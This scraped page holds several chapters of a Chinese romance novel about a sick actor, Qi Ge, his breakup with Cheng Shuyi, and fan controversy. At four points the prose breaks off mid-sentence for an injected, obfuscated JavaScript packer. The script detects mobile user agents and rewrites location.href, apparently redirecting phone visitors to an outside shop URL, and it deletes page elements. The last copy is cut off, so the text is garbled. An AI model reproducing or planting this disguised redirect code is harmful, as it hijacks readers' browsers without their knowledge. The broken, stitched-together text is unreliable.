程书仪觉得好笑:“你是小朋友吗?阿远上你身了?” 他们的脚步已经转了方向,顺着小路朝门口走去。 祁歌偏过头去问程书仪:“你是开车来的还是……” “是啊,”程书仪再次看了他一眼,干脆停下了脚步,“哎你有话直说嘛,吞吞吐吐的干什么。” “我……”祁歌深深吸了口气:“我没事我很好你去吧我们下次再见!” 程书仪被他逗笑了:“我最后问你一遍……” “其实我刚才看到你的手机屏幕了,”祁歌闭上眼横下一条心,“是上次滑雪见过那个张先生对吧?你和他是不是关系很好啊其实没关系我就是随便问问……” 程书仪憋着笑打量他:“哇,你这是……吃醋了?” “我不是我没有!” 俗话说人在尴尬的时候就会显得很忙,祁歌摸了摸被打了发胶的头发又挠了挠耳朵,强迫自己把注意力分散开来,正好就听到身后有人在窃窃私语。 “……对对就是她,那个女的。” “坐了镜头箱?好晦气。” “是吧,也不知道啥来头,她以为她很牛吗?” 祁歌“腾”地一下心中火起,转身朝那边看去。 他轻易定位了那几个工人,但并没立刻发难,只深深看了几眼。 “那我走啦!”程书仪不以为意,跟祁歌挥手作别。 由于被“祁歌吃醋了”这件事影响,程书仪看到张先生的时候没忍住笑了出来。 “今天怎么这么开心,”张先生问,“在哪儿赚到钱了?” 他们一前一后地走进饭店,向电梯的方向走着。 “没有,”程书仪说,“最近哪有时间看新的线?” “是吗?”张先生带点玩味地看她,“我可听说了,程总一掷千金,给一个小演员……” “哎停停停,”程书仪头疼地制止对方起哄,“我承认那个确实冒险了一点,但我也做过研究的,没准还是能赚回来的。” “没准?”张先生笑了起来,被程书仪推搡了一下。 他们今天约了好几个朋友一起见面,里面还真有那个传媒行业的朋友,之前还给程书仪发过祁歌参加的那场颁奖晚会的邀请函。 于是希望话题就此结束的程书仪事与愿违,又被迫跟他们分析了半天这方面投资的前景。 “你说得对,”最后她承认道,“这类投资在当下的市场中并不划算。” 朋友立刻坏笑起来:“看吧!我都说了肯定是为了那男的!” “也不能这么说……”程书仪垂死挣扎,“我还是有我的考量的。” 朋友毫不留情地嘘她:“程总,动心了就动心了呗,不丢人……我上次看你俩就觉得不对劲。” “上次是哪次?”桌上有人问。 “哎呀好了好了,”程书仪只得投降,“我动心了!好了吧!收收收,聊正事!” 结果就是她一整天都有点心不在焉。 动心了……吗? 其实对她来说最动心的时候还是在刚认识祁歌的时候。 随着两个人逐渐熟悉,她渐渐习惯了对方作为她生活的一部分,又强迫自己适应了对方的消失。 现在对她来说,心动还是有的,只是其中也搀着一些迷茫。 或许祁歌曾经的离开对她的影响程度比她意识到的还要大。 她其实一直都没有释然,也没有真正相信祁歌不会再做出同样的选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578306|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 相反,她总觉得或迟或早,祁歌可能还会离开。 她总觉得自己应该为此做好准备。 这种心态在两个人的关系中必然是不太健康的,但奇怪的是,祁歌似乎对此接受良好,于是他们之间逐渐变得平静而松弛。 这多少有那么一点不正常,对吧。 非要说的话,现在时不时在手机里更新动态的祁歌就像一个假人。 程书仪能理解他是在试图跨越这几年的分开带来的陌生,可是这些都太表面了。 她也能理解,对祁歌来说,这可能已经尽了极大的努力。 但不知道为什么,她有点怀念那个会跟她吵架,会气鼓鼓钻进厨房闷头忙活、一言不发的祁歌。 有些感觉距离被拉近的时刻,实际上却是更远了。 与此同时,祁歌被好几位同事簇拥着,十二分的不自在。 他说想要奶茶纯属开玩笑,没想到程书仪言出必行,真的送了奶茶过来。 黑板上用大字写着:感谢祁歌老师的朋友请大家喝奶茶! “什么朋友这么神秘?”这八卦味儿实在太浓,就这么一会儿,好几个同事轮番过来审问。 “确实是一位不愿透露名字的朋友。”祁歌笑着打哈哈。 “哟,男的女的?” 祁歌嘴里舌头跟牙齿打了个架:“就我不但……哎你快去领吧晚了没了我可不管啊!” “哥,你不来点?”阿远幽幽地在祁歌身后出现。 祁歌被吓一跳,捂住脆弱的小心脏:“我不了谢谢。” “谢谢应该跟我说吗?”阿远问。 “啊啊啊……”祁歌落荒而逃。 快要拍完的当口,祁歌请了两天假。 导演当然会不太高兴,但他倘若还能支撑,肯定会选择坚持下来。 最近头疼的程度是即使吃了药都很难忽略,祁歌私自加大了药量,仍然难以阻挡疼痛没日没夜的侵袭。 除了疼,更麻烦的是身体的麻木无力和反应迟钝。 作为一个演员,失去敏感的情绪和语言感知对他来说是致命的。 祁歌没办法允许自己用这么多年的所谓经验来演戏,特别是……这部戏。 他在线联系过医生,医生判断他需要立刻抗炎消除水肿,然后安排手术。 “能不能先控制住症状,让我能再回来工作几天?”祁歌跟医生商量,“就几天,不做完我死了都不安心。” 医生长长叹一口气:“命是你自己的……” 对此阿远一无所知,只听他说要去医院复查,又说公司安排了事情。 “那我一起去呗?”阿远主动问。 “你积极工作的态度我很喜欢,”祁歌说,“但你还是先忙自己的吧。” “唉,好吧……”阿远应了,人立刻又开始打蔫。 她最近被商务和粉丝方面的事弄得分身乏术,一面要听高姐的指令服务好电影赞助和宣传方面的要求,一面又要跟粉丝对接,安抚粉丝因为互联网上各种风吹草动滋生的情绪。 祁歌劝过她几次说不必太认真,但看到她每天挽起袖子大干一场的架势,又说加油好好干,将来前途无量。 倒是会花样哄人。 “我很快回来拍,”祁歌保证道,“坚持一下,快结束了。” 工作哪有结束的一天呢?阿远长长叹了口气。 50. 度寒冬 冬天快要来了。 早上起来站在窗前透气,嘴边已经可以呵出一大片白雾。 “小伙子,你什么病啊?查清楚没有?”出门买早点的大妈回来,大声地问祁歌。 “啊,我就……脑炎,”祁歌含糊答道,“来输两天液,明天就出院了。” “脑炎?那应该没啥大事儿吧,不像我老伴,也不知道还剩几天,你看人都傻了。”大妈将吃的摆在床头,招呼祁歌一起吃。 老大爷刚做了手术,如今躺在床上昏睡,很难说之后能恢复多少。 “不用了,谢谢您,”祁歌对她笑了笑,“我去食堂吃。” 其实他现在已经不太能吃东西。 有时候勉强吃了也会反胃吐出来,吐得太厉害的时候,甚至会大小便失禁。 昨天在病房里的厕所发生这事时,祁歌开着水龙头,耐心等大妈出去了才回病房换了衣服。 不同于艺术作品中的桥段,真正的生病总是狼狈的,他已经开始初尝其中滋味。 这个时候不知为何,祁歌忽然想起程书仪带他去过的那家医院国际部。 程书仪总是对的,即使在这种境况下,有的人也还是会有选择。 只不过此刻对他来说,这个好像也不是那么重要。 医院里的白天总是非常繁忙,病人医生护士在各种治疗方案中陀螺一样运转。 疲惫,也怀着希望。 而夜晚总是漫长的。 在疼痛中猝然惊醒时,祁歌颤抖着咬牙吸气,试图像每一次一样,平复自己的呼吸。 他看到隔壁的陪床大妈侧躺在陪护床上刷着手机,一个个短视频被划上去,光线晃动,与从走廊透进的灰白灯光渐渐融为一体。 此刻的她是疲倦而麻木的,半点也没有了白天的精气神。 而祁歌的痛楚也会渐渐被疲倦和麻木淹没。 可能被这病痛消耗的从来就不止病人自己。 病,就像是一个张着口的漩涡,不由分说地将周围一切生机与欢愉通通吞噬。 “哥,你怎么休养几天还更瘦了?”阿远皱着眉打量着祁歌,“公司抓你去做苦力了?” “瞎说什么,”祁歌眯着眼睛等化妆,“公司对我好得很。” 不管怎么说,高姐也算仁至义尽了,不但帮他联系了病房,还派了车从医院接他再送回片场。 他想说不必这么麻烦,他一个人也可以。但高姐说公司里有排场有派头的人多了,不差他一个,让他管好自己就是给她省心了。 好的,有道理。祁歌于是全盘接受。 他的那位新的生活助理也算尽职尽责,每天都操心着他的一日三餐吃穿用度,还会帮他准备要吃的药。祁歌病痛发作时,也多亏他细心照顾和帮忙遮掩。 阿远最近忙起来之后,在片场的时间没有以前多了,但每天还是会抽时间过来跟祁歌大力吐槽。 “对了哥,下礼拜那个宣发你去不去啊,高姐没给我准话,说到时候看你情况?”阿远低头翻着手机里的日程表。 “我不想去,”祁歌懒懒地打了个呵欠,“应该也没什么影响吧?” 这个宣传活动是给他们拍的那部狗血穿越电视剧预热。这部戏祁歌拍得实在曲折心累,也不知道最终会呈现一个什么效果。 对他来说,这些实在也不再重要了。 阿远点点头:“不去就不去吧……不过那个陈逸心在社交平台上艾特你了,要回复吗?” “艾特我什么了?”祁歌伸手按了按太阳穴。 “怎么了,还是头疼吗?”阿远凑近了看他,“复查的时候医生怎么说?” “就说……可能拍完这个电影要休息一阵子吧。”祁歌答得半真半假。 化完妆之后祁歌自己看了眼社交平台。 陈逸心是在转发官方的宣传通知时艾特了他,说些什么期待再次交锋之类的。 女主欣欣也转发了官方帖子,还跟陈逸心互动了一下,下面粉丝纷纷刷着花样百出的宣传语,气氛一派虚假融洽。 看这架势,或许陈逸心是听到了风声,准备等祁歌推了活动,再营造点值得谴责舆论声势出来。 “高姐,”祁歌乖乖去请示领导,“这个活动我需要参加吗?” 进景拍了一会儿回来,祁歌才看到高姐的回复:“公司肯定还是希望你参加,但如果身体实在不允许就算了。” 一直以来,高姐对他的态度向来是雷厉风行咄咄逼人,难得有这种温柔包容的态度,让祁歌觉得受宠若惊。 他几乎要当场答应去了。 ——但再次紧急回到镜头前高强度拍了两场戏之后,祁歌整个人被掏空地瘫在椅子上,又觉得或许还是拒绝比较好。 还没考虑好要不要答应,他就已经开始累了。 没想到就在当晚,祁歌又收到了另外一个邀请。 邀请发在他邮箱里,是转发一个独立电影节的信函,说您的参展短片入围,特邀主创们出席。 好巧不巧,日期竟然是同一天。 祁歌疑惑了半天,邮件拖到最后看到发件人的落款,才明白是因为前段时间拍了那部古画复原短片,导演将电影节的邀约转发给了自己。 “恭喜啊,”他直接在微信里发消息给年轻的导演,“最近在拍戏,电影节我就不去了吧。” “也恭喜祁老师进了电影大组!”那边直接秒回,“但如果有时间,还是真诚希望您能莅临,我们的片子能顺利产出多亏了您。虽然不一定能拿到什么奖,还是希望您能见证它被照亮的那刻。” 这什么让人肉麻的文艺措辞…… 祁歌把屏幕挪远一点,再次犹豫了一会儿。 是的,人在这种境况下,心境当然会不一样。 祁歌不由问自己,假如这就是生前的最后一场活动,他会希望自己出现在哪里。 后来在很长一段时间里,祁歌的粉丝们会把祁歌参加那次活动的照片拿出来反复咀嚼。 那天夜里扬起的微风将他的刘海吹乱了一缕,勾勒在他的眉眼之上,苍白的面容显出几分憔悴而惊心动魄的美。 这个影展其实没多少人,热度不高。在场的导演和演员大都是刚刚入门,也因此满怀着更多憧憬。 由于祁歌来之前没有做什么宣传,现场也几乎没有他的粉丝。 他只是静静走过红毯,坐在台下,望着台上来来往往的人们,也竟然见证了这部短片真的拿到了一个奖。 “祁老师,一起上去!”导演跑过来拽着祁歌,硬是把他拽上了台。 祁歌笑着被拉到台上,又这样笑着,望着眼前一群兴奋的年轻人抢着在话筒前说话。 ——这些都是粉丝后来在官方视频里看到的。 虽然时过境迁后,这次祁歌出席电影节的画面只剩一片岁月静好,但此时此刻,因为祁歌缺席了电视剧的宣传,粉丝团体里可谓掀起了轩然大波。 阿远愁得头发都掉了几根。 “为什么不去参加电视剧的宣传,跑去什么没人care的影展?” “哥哥多久没曝光了,公司是想雪藏吗?” “下一部戏约在什么地方?” “不会干别干,演员的事业期有几年?耽误得起吗?” “躺平任嘲吧真的。” “血书求祁老师清醒一点换个公司!” …… 这部电影开拍之前,高姐给阿远分配过一个任务,就是要筹划成立祁歌的个人工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578307|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作室。 为此阿远忙活学习了许久。 最近不知道为什么,这项工作一直处于暂时停滞的状态。 “要不现在就赶快成立工作室呢?”阿远请示道,“有个官方的发声机构会不会好一点?” 高姐并没同意,说之后再说。 要等到什么时候才算之后啊?阿远有些忿忿不平,感觉粉丝说的有些话也不是空穴来风,这公司是不是真有点不靠谱。 “不至于不至于,”祁歌听说之后先安抚她道,“高姐说得对啊我觉得,这事不急。” “真是皇上不急太监急。”阿远悄悄翻白眼。 祁歌不以为意,嘴角翘得老高。 也不知道程书仪潜伏在哪个平台,竟然也看到了那个古画小短片获奖的消息,特意给祁歌发来祝贺,还附上红包一个。 “感谢程总刷的火箭,”祁歌回复说,“感谢您的大力支持。” 程书仪说不必客气,又问什么时候拍完,回来A市了再一起吃饭。 “现在片场也不远嘛,哪天再过来玩?”祁歌满怀期待地星星眼问。 但程书仪遗憾表示最近还挺忙的,并没有空当安排出行计划,又问这个短片既然获奖了,能在哪儿看到。 “等展映结束,会上流媒体的,程总期待一下。”祁歌说。 程书仪发了个叹气的表情:“需要等待的事情也太多了。” 是啊,祁歌想。 有些等待是有期限也明确知道结果的,有的就不一样了。 至于那个短片后来终于在流媒体上线,获得了不少的点击量,很多人在弹幕里狂刷“五分钟内我要那位红衣状元郎的名字”之类的事,则都是后话了。 杀青吃饭那天,程书仪也去了。 她和祁歌的关系并不算秘密,但大家都很有分寸,没有人瞎起哄,甚至连提及都没有,给予了她超乎寻常的尊重。 于是程书仪也不好意思要跟祁歌坐在一起,只能隔着桌子遥望几眼。 由于片场搭建的位置比较偏僻,杀青宴也没选择在市里办,而是就在片场附近找了个礼堂。导演包下了里外两个大厅,主创团队在里面,其他工作人员在外面。 程书仪有心想找阿远问问情况,阿远却回复说最近忙,杀青宴没来参加。 祁歌身边跟着一位生活助理,看起来倒是对祁歌照顾得非常细心。 程书仪不免觉得有些无聊。 早知道就不来了。 “感谢程总对我们这部戏的支持,”导演过来敬程书仪,“感谢感谢,尽在不言中了。” 程书仪点点头,有些心不在焉地喝了这杯酒。 “程总,我现在正在筹拍一部作品……”跟着说话的这人程书仪不认识,导演介绍了一下,说是一位新晋导演,得过什么新人奖云云。 那人已经将程书仪的杯子重新续满了。 程书仪看他表情似乎挺真挚,大概是为了作品想求个投资。 于是她有些遗憾地摇了摇头,跟这人碰了下杯:“抱歉,酒我喝了,但目前我们没有追加投资影视行业的计划。” 可那杯酒在碰杯过后就被一只手截了下来。 “我替程总喝这一杯,”祁歌笑眯眯地说,“也代表我们演员组感谢程总的大力支持。” 他在“大力支持”几个字上的语气念得认真,让程书仪有点想笑。 周围桌上的人们交换着困惑或是了然的目光。 也不知道怎么,程书仪竟然久违地感觉到了一点害羞。 “一会儿去我那儿吗?”她低声问祁歌。 “……好啊。”祁歌也低声应道。 可是在祁歌的眼睛里,程书仪清楚地看到一丝闪避和犹豫。 51. 来日长 进门打开灯之后,程书仪才忽然意识到,祁歌已经很久没来家里了。 “这几天有什么工作吗?”她一边换鞋一边问。 祁歌幽灵一般跟在她身后,闻言半天才答话:“……有点事儿。” 程书仪回头看他。 门廊里的灯光下,祁歌垂着眼睛,长长的睫毛投下一大片阴影,几乎把半张脸都遮住了。 似乎注意到程书仪的目光,他抬起头笑了笑。 “想吃点什么吗?”他问。 说实话是有点想,程书仪想着,刚才在宴会上一直有点心不在焉,根本没怎么吃饱。 “……还是算了,”她说,“太晚了,最好还是别太放纵了。” 祁歌没说什么,径直走进厨房拉开冰箱翻了翻。 “小姐回来了?”保姆阿姨听到动静走过来,“要做什么?我来吧。” “不麻烦您了,”祁歌笑着说,“我自己弄点。” 程书仪在旁边看得清楚,他此刻的笑容是放松的,仿佛短暂地放下了什么重负。 回忆起来,一开始祁歌很吸引程书仪的好像也是这个。 祁歌会在很多狼狈艰难的境遇下,选择暂时地抛却那些负面的东西,给人更多明快的感受。 她会享受这种明快,也会想要探寻这些明快下面的阴霾。 是从何时起,这种明快不再属于自己了? 难道自己也成了他生活之中,沉重的那一部分吗? “想什么呢?”祁歌凑上来问。 “没什么。”程书仪摇摇头,任他帮忙脱下外套挂好,又歪着头看他有条不紊地挽起袖子洗手作羹汤。 “等等,这是什么?”程书仪目光一定,快步走上前。 灯光下,祁歌手臂上的几条红痕清晰地显现出来。 “嗯?”祁歌顺着她的目光低头看去,“噢,可能吊威亚的时候勒的,没事儿。” 程书仪皱起眉:“你们拍的又不是古装戏,怎么还吊威亚了?” “最后几天不是拍的战火连天的戏份吗,”祁歌解释道,“说起这个,我们都觉得导演抠门到非要物尽其用,好容易花钱费劲儿搭的景,非要全炸了才舒服。” “战火连天?”程书仪想了想,“所以是要用威亚绑着被炸飞?” 祁歌忍俊不禁:“没错,我知道你脑子里已经有画面了。” 程书仪搓手:“哇哦,现在我忽然很想看了。” “不知道我的镜头会留下多少,希望成片会好看吧。”祁歌笑意淡淡地说。 他很快端了一小钵白菜汤出来,汤底淳白,上面漂着几点葱花,看上去十分诱人。 “这个吃了没什么负担,暖暖和和的。” 程书仪拿了两个小碗,两个人慢慢分掉了这一点热乎乎的汤。 “我去洗碗,你去洗漱吧,很晚了。”祁歌说着就回了厨房,还把门关上了。 程书仪依言去洗漱了一番,再转回客厅时,祁歌正在沙发上正襟危坐地盯着她。 “你你干什么?”程书仪吓一跳,退了半步。 她好像从来没在祁歌脸上看到这种攻击性,几乎让她一瞬间以为自己做错了什么事。 ……不是,自己能做错什么事啊! “有事儿直说,板着脸干什么?”反应过来后,程书仪甚至觉得有点好笑,“谁惹你了?” 祁歌不为所动,严肃地举起手里的小盒子:“程书仪,这是什么?” “……什么啊?”程书仪不明所以地走前了几步,这才看清他拿着的东西,是自己放在冰箱里的一款药品,“这个是药,怎么了?” “你在用这个药?”祁歌的语气十分咄咄逼人,“你到底在想什么啊?” “我……” 祁歌根本没等她解释:“程书仪,身体才是最重要的,这个道理应该不用我告诉你吧?” “不是你发哪门子颠呢,”程书仪劈手夺过他手里的盒子,“拿我药瞎脑补什么呢?” 祁歌一怔,似乎被她的反应弄得有点意外:“我……我脑补什么了,这不就是现在最流行的减肥药吗?我们剧组好多女孩子在打!” 程书仪呆立半天,这才开口解释:“不是,谁跟你说我在打了,这是我药企的朋友送的样品,又不是我自己用的。” “不是吗?”祁歌怀疑地看着她。 “我虽然也在健身,但还没到需要打针减肥的地步吧!”程书仪控诉道。 祁歌盯了她几秒,这才松下一口气,整个人都泄力般仰在沙发上:“不是就好……” 程书仪回身将药品放回冰箱,又回来沙发前看他:“不过就算是我打,也没什么啊?这个药是现在最安全有效的减肥药物之一了,我之前专门调研过的。” “肯定还是会有副作用风险吧,”祁歌叹气般轻声说,“我就是有点担心……太担心了,对不起。” 程书仪无奈地叹了口气:“也没什么好对不起的。” 她在他身边的沙发上坐下,祁歌忽然直起身子,整个人转向程书仪:“书仪,我想跟你告个别。” “什么?” 程书仪一时几乎怀疑自己听错了。 “我会……离开一阵子。”祁歌脊背笔直,一瞬不眨地望着她。 “离开?去哪里?” “有些事一直没跟你说,可能现在说有点太晚了……书仪,我想一个人度过一些事,我一个人就好。”祁歌说着说着就垂下了头,又犹犹豫豫地抬起来,“可以吗?” 程书仪一时不知该如何作答。 怎么说,她确实一直没有真正跟祁歌确定他们之间的关系,乃至他们的未来。 在慢慢接受祁歌的过程中,她一直尊重彼此的所谓自由。 但这样突如其来的告别,这样语焉不详的说明,听上去着实让人心头火起,又隐隐毛骨悚然。 “到底什么事,不能讲吗?”程书仪耐着性子问,“跟我也不能?” 祁歌望着她,忽然笑了一声。 这笑容浮在他脸上,凄切又惨淡,如同哭泣一般。 原来每一次程书仪拿来自我说服的“不要逼他”,最后会变成这样。他终究要做自己的选择。 程书仪再次叹了口气:“多久。” 她拿他没办法,他吃准了这一点。 祁歌没回答这个问题,只再一次低下头去。 “好,”程书仪冷着脸站起身,“我就当你是在跟我说分手了。” 祁歌仓皇抬起头。 演员到底是演员,一瞬间两行清泪从他眼眶里滚出来,那双被眼泪洗过的眼眸显得格外澄澈,楚楚可怜。 程书仪只看了一眼就移开了目光:“请便吧。” 也好,她想着,上一次分手是祁歌提的,提完他就走了。 这次又想故技重施,没门。 这次换她先开口赶祁歌走,很公平。 人世间的事情总是现世报的。 在这一刻,她其实有点期待祁歌会做出什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578308|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他平时少见的反应。 但祁歌只是坐在那里望着她。 “其实……我对你来说也不算什么好的选择,对吧?”半晌的沉默后,祁歌轻声说。 他已经在几个呼吸间调整好了语调。 这句话仅从字面意思来看,像是在控诉。 但祁歌的表情里没有不甘或是愤怒,更多的是种释然。 “你什么意思?”程书仪也回望着他。 “我的意思是……”祁歌抬手在空中无意义地翻动了一下,慢吞吞地说,“你有更多更好的选择,对不对?比如那个张先生,我看得出他对你也……有好感。客观来说,我不是最适合你的那个。” 程书仪气极反笑:“什么时候你也开始跟我讲客观?” 祁歌摇摇头:“好,是我多言了,那……” 他站起身,一步步走过程书仪身边。 片刻的开门关门后,房间里又只剩下程书仪一个人。 一场绵延了两天两夜的冷雨之后,深秋仿佛是一夜间就从枝头被冲刷了下来,碎落在路边的水色里。 程书仪在上班路上接到阿远的电话,问她知不知道祁歌在哪。 “我跟他分手了。”程书仪说。 电话那边沉默了两秒,传来一声难以置信的“啊?” 好的,看来阿远也不知道。 “就是他忽然说要离开一阵子,问也不说什么事,”程书仪解释道,“烦了不想问了,随便吧。” “哦……”阿远小心翼翼地问,“程姐,你这是在赌气吗?” “啊?不是,当然不是。”程书仪说。 她也不知道还能解释什么。 或许他们之间从一开始就没有人做过什么长远打算,戛然而止时也便不至于太突兀。 “我还以为……可是……”阿远似乎是努力措辞了一会儿,“明明是相爱的人,怎么会分开呢?” “你小孩子家家懂什么,”程书仪笑了一声,“我进电梯了。” “哎,程姐……”阿远喊住了她。 “怎么了?” 程书仪举着手机,在电梯旁的落地窗前停了停脚步,等着电话那边的声音。 她还记得刚跟祁歌重逢的那天,她在这里远远看到他被烫伤,决定走过去看看。 其实也才过去没多久,却仿佛又重演了一遍悲欢离合。 “程姐,本来也不想跟你说这些,但我……”阿远一句话说得磕磕绊绊,“我最近听说了一些事,就是之前祁哥跟你分手之后其实很痛苦,状态很差,后来慢慢把自己调整好了之后,主动申请了来这边拍戏,可能就是想来找你……” “这些我都知道了。”程书仪说。 一直以来,祁歌心思并不难猜。她猜得到,却不想一一点破,总想着以后还有很多时间,总会让他自己说出来。 直到这个时候,她才发现自己是真的想过来日方长的。 “前几天你去探班,有工人背后说你坏话,你走之后祁哥还去跟他们刚了,”阿远持续在那边碎碎念,“那帮人很坏的,当时道了歉,后来吊威亚的时候故意使绊子捉弄人,现场那么多人,祁哥也没办法说什么……哎其实这些都不重要,我就是觉得,他虽然不说,但他很在乎你,他不会想要跟你分开啊……” 原来还有这一出,程书仪想着,怪不得那天不敢说那些威亚伤是怎么弄的。 不过那又怎样呢? 每个人都该为自己的选择负责,不管到底有什么原因。 52. 手术前 祁歌的名字再一次出现在各平台的娱乐版块里,是在那部小成本电视剧的宣发活动上。 由于开播在即,剧方组织了一系列的宣传活动,包括发布会扫楼和综艺等等。本来这个剧没多少关注度,祁歌的缺席应该也不会有太大影响,没想到其中却出现了变数。 事情是这样的:剧里男配的饰演者陈逸心,原本勇闯选秀失败,却因为在某个生活类综艺刷脸成功,稍微地小火了一小下。 他本来就秀人出身,自带一小撮战斗力蛮强的粉丝,配上这波加成,虽然粉丝人数不算多,但胜在会刷流量,在网络上看上去也算声势浩大。 眼看剧都快播了,男主在家抠脚不出来宣传,让男配在工作的间隙中挤时间出来兢兢业业搞宣发,这谱就摆得有点大了。 “我们家小陈是连夜飞的过来扫楼,状态还这么好,也太敬业了!” “有的人能不能别装死了,工作都推给别人,同事欠你钱了吗?” “心疼逸心哥哥,注意休息注意休息注意休息!” “要不然把这男主的镜头都剪了吧,不想给他的剧贡献热度了,他配吗?” …… 于是祁歌的公司只好发了声明,说由于艺人身体不适需要休养,暂时无法出席接下来的一系列宣传。 在这种事情上,官方的声明往往是多说多错,少说更错。 一时间各路粉丝纷纷展开讨伐:有人说公司表面在搪塞实则是雪藏了祁歌,要为了捧别人防爆他,不允许他出来宣传;有人说祁歌觉得自己接到好饼,翅膀硬了想跟公司解约,现在撂挑子不上班;有人说祁歌傍上大款激流勇退,不想再干这种抛头露面的工作现在已经退圈;更有甚者,说祁歌其实遇到事故早已命不久矣,公司怕引来指责才缄口不言。 种种流言甚嚣尘上,就连程书仪都被迫在信息流刷到一些,忍不住去问阿远到底怎么回事。 “程姐,”阿远叹了口气,“你也听说了?” “嗯,听到的大概是祁歌攀高枝被公司雪藏幽禁永久退圈命不久矣。”程书仪简单总结了一下。 阿远那边沉默了几秒,又问程书仪有没有时间出来当面聊。 “这周实在没时间,”程书仪说,“后天要出差去趟国外,回来再说吧。” 如果真像网传的那么离谱,那祁歌大概应该选择报警。 所以八成也没什么太紧急的事。 “好,”阿远说,“那程姐你先忙,我们有空了约。” 程书仪答应着挂了电话,又觉得跟阿远之间的交流突然变成这样公事公办的模式,有点不太得劲儿。 于是她又发了条消息过去,说对了最近年底了,家里好吃的太多吃不完,让阿远给个地址。 “呜呜,谢谢程姐投喂![流泪][流泪][流泪]” 好的,看到阿远依然会使用感叹号和表情包,程书仪才觉得舒服了许多。 “阿远,”那边高姐端着笔记本就过来了,“进来开会。” “哎哎好的高姐。”阿远忙不迭地在键盘上按ctrl+S保留目前工作进度。 她最近的工作非常繁忙,用祁歌的话说,大概到了上升期了。 她最近都没联系祁歌。 不是因为怕打扰祁歌养病,而是……她其实有点生气。 或者说“生气”这个词也不太合适,她毕竟只是祁歌一名非正式的助理,怎么会有资格对老板生气? 祁歌在电影杀青之后消失了一阵,阿远还以为他跟程书仪小别之后终于团聚,沉浸在二人世界之中。 直到高姐给她安排了许多其他艺人的工作,直到祁歌后续的所有行程全是一片空白,直到她听说程书仪和祁歌已经分开,直到……她从高姐口中得知祁歌的病情。 “怎么会……我完全不知道……”在那一瞬间,她心里竟然是自责更多些,“什么时候、现在情况怎么样?祁哥会不会有事啊……” “是接那部电影之前查出来的,”高姐显然早已理性接受了事实,“手术要做术前准备和等排期,应该快了,不过这个病术后的恢复也会很漫长,只能看情况再说了。” “那我……”阿远张了张口,忽然不知道该说什么了。 去看看他?去陪他度过这一关? 但是倘若祁歌需要她,不会这样对她缄口不言。 这时候阿远才后知后觉地想起祁歌那个很专业的贴身生活助理,祁歌口袋里那些她不知道是什么效用的药,还有拍摄电影时祁歌愈演愈烈的头痛和逐渐消瘦疲倦的状态。 如果这件事需要保密,她当然可以保密。 ……自己对祁歌来说,难道是什么不值得信任的人吗? 俗话说,没有对比就没有伤害,之前跟着祁歌的时间久了,现在跟几个其他的艺人工作,让阿远感觉非常心累。 像祁歌那样毫无架子的艺人毕竟是很少的。 圈子里大部分的艺人都学历一般、头脑空空、吹毛求疵、喜怒无常……但这些扫射的评价阿远可不敢说出来,只能理解为他们常年吃不饱,情绪有问题也是很正常的。 大不了让着些罢了。 “阿远,有反馈说这个活动的内容策划和文案太没创意了,重新做一下,要不然听听艺人本人的意见。” 阿远连连答应,心想八成就是艺人本人有意见,听他的创意我还不如听AI老师…… 大Boss继续提出批评意见:“组里还有谁做过粉丝维护?祁歌的舆论导向有人管一下吗?” 听到祁歌的名字,阿远一个激灵抬起头,正好和高姐对视上。 “阿远之前跟过祁歌的,”高姐发话说,“你来跟进吧。” “啊……行,”情绪归情绪,这是工作的事,阿远本人也觉得义不容辞,“那我去了解一下,看看怎么引导……还有我想问下公关老师,公司现在的宣传思路是怎么样的?” 她需要确定公司的口径,才好去跟粉丝对接。 那位公关部门的负责人慢悠悠地答道:“嗯祁歌嘛,除了艺人实际病情我们想要等确定后再发布,其他信息其实都已经发布了。现在主要问题是对方买的通稿比较多,看我们要不要追一下。” 他说的“追一下”,应该指的是多花点钱来摆平。 对这个抠门的公司来说,这显然是不可能的。 “我明白了,”阿远答道,“我去跟后援会和粉丝群联系沟通一下,看看能做些什么。” “也不要太刻意,”高姐嘱咐了一句,“有的粉丝不恰当的攻击会起反作用。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 